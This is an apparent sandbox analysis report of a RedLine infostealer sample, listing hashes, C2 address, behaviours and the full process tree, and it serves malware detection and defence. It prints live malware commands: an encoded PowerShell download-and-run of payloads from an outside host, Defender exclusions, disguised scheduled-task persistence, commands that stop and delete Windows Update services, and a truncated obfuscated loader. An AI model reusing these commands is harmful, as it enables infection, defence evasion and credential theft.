redline | eab9a40c5379d460e7d5f3d11c2b766ce8674c2240110e063fecb0c651e0dd67

Analysis

max time kernel
22s
max time network
76s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
11-11-2022 02:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

C4Loader.exe
Size

575KB
MD5

f159c8d7601d866641a6d31918d62e9e
SHA1

2642f901f2d802e864d0a38da5095938ef143abb
SHA256

eab9a40c5379d460e7d5f3d11c2b766ce8674c2240110e063fecb0c651e0dd67
SHA512

da8ca4535c7476be5a157867cf516973fe634391be33a007f1c53afa3f8936b868edd3ce22da3e2152c14ed04660375781454ed38247d266a3136cb0f5a2f570
SSDEEP

12288:ufG4JSQ6SUuy5OR62Cf/tUdCEiYQIF9GPUIcMGCozutXffjqAZgR:ufG4IQ6SUuyOCEiYQg9GPUIRoyfaR

Score

10^/10

redline 1 evasion infostealer

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1444-175-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/3620-177-0x0000000001000000-0x000000000103E000-memory.dmp	family_redline
behavioral2/memory/3620-181-0x0000000001000000-0x000000000103E000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

SmartDefRun.exe

description	pid	process	target process
PID 3476 created 2724	3476	SmartDefRun.exe	Explorer.EXE
PID 3476 created 2724	3476	SmartDefRun.exe	Explorer.EXE
PID 3476 created 2724	3476	SmartDefRun.exe	Explorer.EXE
PID 3476 created 2724	3476	SmartDefRun.exe	Explorer.EXE
PID 3476 created 2724	3476	SmartDefRun.exe	Explorer.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

24 4924 powershell.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

SmartDefRun.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe
Executes dropped EXE 4 IoCs

Processes:

C4Loader.exenew2.exeSysApp.exeSmartDefRun.exe

pid process

2932 C4Loader.exe
3620 new2.exe
3924 SysApp.exe
3476 SmartDefRun.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

flow	pid	process
24	4924	powershell.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

pid	process
2932	C4Loader.exe
3620	new2.exe
3924	SysApp.exe
3476	SmartDefRun.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

C4Loader.exenew2.exeSmartDefRun.exe

description	pid	process	target process
PID 4308 set thread context of 3008	4308	C4Loader.exe	vbc.exe
PID 3620 set thread context of 1444	3620	new2.exe	vbc.exe
PID 3476 set thread context of 1740	3476	SmartDefRun.exe	dialer.exe

Drops file in Program Files directory 1 IoCs

Processes:

SmartDefRun.exe

description ioc process

File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe
Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1532 sc.exe
3572 sc.exe
2468 sc.exe
2768 sc.exe
4204 sc.exe
2960 sc.exe
1104 sc.exe
2512 sc.exe
1844 sc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4544 4308 WerFault.exe C4Loader.exe

description	ioc	process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

pid	process
1532	sc.exe
3572	sc.exe
2468	sc.exe
2768	sc.exe
4204	sc.exe
2960	sc.exe
1104	sc.exe
2512	sc.exe
1844	sc.exe

pid	pid_target	process	target process
4544	4308	WerFault.exe	C4Loader.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

Processes:

powershell.exeSmartDefRun.exepowershell.exepowershell.exeSysApp.exepowershell.exe

pid	process
4924	powershell.exe
4924	powershell.exe
3476	SmartDefRun.exe
3476	SmartDefRun.exe
4960	powershell.exe
4960	powershell.exe
3476	SmartDefRun.exe
3476	SmartDefRun.exe
3476	SmartDefRun.exe
3476	SmartDefRun.exe
3392	powershell.exe
3392	powershell.exe
3392	powershell.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3924	SysApp.exe
3476	SmartDefRun.exe
3476	SmartDefRun.exe
3476	SmartDefRun.exe
3476	SmartDefRun.exe
1884	powershell.exe
1884	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3392	powershell.exe
Token: SeSecurityPrivilege	3392	powershell.exe
Token: SeTakeOwnershipPrivilege	3392	powershell.exe
Token: SeLoadDriverPrivilege	3392	powershell.exe
Token: SeSystemProfilePrivilege	3392	powershell.exe
Token: SeSystemtimePrivilege	3392	powershell.exe
Token: SeProfSingleProcessPrivilege	3392	powershell.exe
Token: SeIncBasePriorityPrivilege	3392	powershell.exe
Token: SeCreatePagefilePrivilege	3392	powershell.exe
Token: SeBackupPrivilege	3392	powershell.exe
Token: SeRestorePrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeSystemEnvironmentPrivilege	3392	powershell.exe
Token: SeRemoteShutdownPrivilege	3392	powershell.exe
Token: SeUndockPrivilege	3392	powershell.exe
Token: SeManageVolumePrivilege	3392	powershell.exe
Token: 33	3392	powershell.exe
Token: 34	3392	powershell.exe
Token: 35	3392	powershell.exe
Token: 36	3392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3392	powershell.exe
Token: SeSecurityPrivilege	3392	powershell.exe
Token: SeTakeOwnershipPrivilege	3392	powershell.exe
Token: SeLoadDriverPrivilege	3392	powershell.exe
Token: SeSystemProfilePrivilege	3392	powershell.exe
Token: SeSystemtimePrivilege	3392	powershell.exe
Token: SeProfSingleProcessPrivilege	3392	powershell.exe
Token: SeIncBasePriorityPrivilege	3392	powershell.exe
Token: SeCreatePagefilePrivilege	3392	powershell.exe
Token: SeBackupPrivilege	3392	powershell.exe
Token: SeRestorePrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeSystemEnvironmentPrivilege	3392	powershell.exe
Token: SeRemoteShutdownPrivilege	3392	powershell.exe
Token: SeUndockPrivilege	3392	powershell.exe
Token: SeManageVolumePrivilege	3392	powershell.exe
Token: 33	3392	powershell.exe
Token: 34	3392	powershell.exe
Token: 35	3392	powershell.exe
Token: 36	3392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3392	powershell.exe
Token: SeSecurityPrivilege	3392	powershell.exe
Token: SeTakeOwnershipPrivilege	3392	powershell.exe
Token: SeLoadDriverPrivilege	3392	powershell.exe
Token: SeSystemProfilePrivilege	3392	powershell.exe
Token: SeSystemtimePrivilege	3392	powershell.exe
Token: SeProfSingleProcessPrivilege	3392	powershell.exe
Token: SeIncBasePriorityPrivilege	3392	powershell.exe
Token: SeCreatePagefilePrivilege	3392	powershell.exe
Token: SeBackupPrivilege	3392	powershell.exe
Token: SeRestorePrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeSystemEnvironmentPrivilege	3392	powershell.exe
Token: SeRemoteShutdownPrivilege	3392	powershell.exe
Token: SeUndockPrivilege	3392	powershell.exe
Token: SeManageVolumePrivilege	3392	powershell.exe
Token: 33	3392	powershell.exe
Token: 34	3392	powershell.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

C4Loader.exevbc.exepowershell.exenew2.execmd.exeSmartDefRun.exe

description	pid	process	target process
PID 4308 wrote to memory of 4284	4308	C4Loader.exe	vbc.exe
PID 4308 wrote to memory of 4284	4308	C4Loader.exe	vbc.exe
PID 4308 wrote to memory of 4284	4308	C4Loader.exe	vbc.exe
PID 4308 wrote to memory of 3008	4308	C4Loader.exe	vbc.exe
PID 4308 wrote to memory of 3008	4308	C4Loader.exe	vbc.exe
PID 4308 wrote to memory of 3008	4308	C4Loader.exe	vbc.exe
PID 4308 wrote to memory of 3008	4308	C4Loader.exe	vbc.exe
PID 4308 wrote to memory of 3008	4308	C4Loader.exe	vbc.exe
PID 3008 wrote to memory of 4924	3008	vbc.exe	powershell.exe
PID 3008 wrote to memory of 4924	3008	vbc.exe	powershell.exe
PID 3008 wrote to memory of 4924	3008	vbc.exe	powershell.exe
PID 4924 wrote to memory of 2932	4924	powershell.exe	C4Loader.exe
PID 4924 wrote to memory of 2932	4924	powershell.exe	C4Loader.exe
PID 4924 wrote to memory of 2932	4924	powershell.exe	C4Loader.exe
PID 4924 wrote to memory of 3620	4924	powershell.exe	new2.exe
PID 4924 wrote to memory of 3620	4924	powershell.exe	new2.exe
PID 4924 wrote to memory of 3620	4924	powershell.exe	new2.exe
PID 4924 wrote to memory of 3924	4924	powershell.exe	SysApp.exe
PID 4924 wrote to memory of 3924	4924	powershell.exe	SysApp.exe
PID 4924 wrote to memory of 3924	4924	powershell.exe	SysApp.exe
PID 4924 wrote to memory of 3476	4924	powershell.exe	SmartDefRun.exe
PID 4924 wrote to memory of 3476	4924	powershell.exe	SmartDefRun.exe
PID 3620 wrote to memory of 1444	3620	new2.exe	vbc.exe
PID 3620 wrote to memory of 1444	3620	new2.exe	vbc.exe
PID 3620 wrote to memory of 1444	3620	new2.exe	vbc.exe
PID 3620 wrote to memory of 1444	3620	new2.exe	vbc.exe
PID 3620 wrote to memory of 1444	3620	new2.exe	vbc.exe
PID 2136 wrote to memory of 2960	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 2960	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 1532	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 1532	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 1104	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 1104	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 3572	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 3572	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 2512	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 2512	2136	cmd.exe	sc.exe
PID 2136 wrote to memory of 4284	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 4284	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 1408	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 1408	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 3856	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 3856	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 4808	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 4808	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 632	2136	cmd.exe	reg.exe
PID 2136 wrote to memory of 632	2136	cmd.exe	reg.exe
PID 3476 wrote to memory of 1740	3476	SmartDefRun.exe	dialer.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2724

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
3⤵
PID:4284

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3008

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4924

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
5⤵
- Executes dropped EXE
PID:2932

C:\Users\Admin\AppData\Local\Temp\new2.exe
"C:\Users\Admin\AppData\Local\Temp\new2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3620

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
6⤵
PID:1444

C:\Users\Admin\AppData\Local\Temp\SysApp.exe
"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3924

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 292
3⤵
- Program crash
PID:4544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3392

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:2136

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2960

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1532

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1104

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3572

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:2512

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:4284

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:1408

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:3856

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4808

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:632

C:\Windows\System32\dialer.exe
C:\Windows\System32\dialer.exe
2⤵
PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#waqsnj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsDefenderSmartScreenQC" } Else { "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1884

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn WindowsDefenderSmartScreenQC
3⤵
PID:1716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:4892

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:3956

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2468

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:2768

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
2⤵
PID:4520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4308 -ip 4308
1⤵
PID:5084

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:fYzqdUOLUGWK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kTIpPblEvDHBgF,[Parameter(Position=1)][Type]$UhQWhhCuII)$ZJJxWhQZoaD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+'t'+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'Me'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType('My'+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+'p'+'e','C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'ea'+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+'u'+''+[Char](116)+'o'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$ZJJxWhQZoaD.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+'e'+''+'c'+'i'+[Char](97)+''+[Char](108)+'N'+'a'+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+[Char](98)+''+[Char]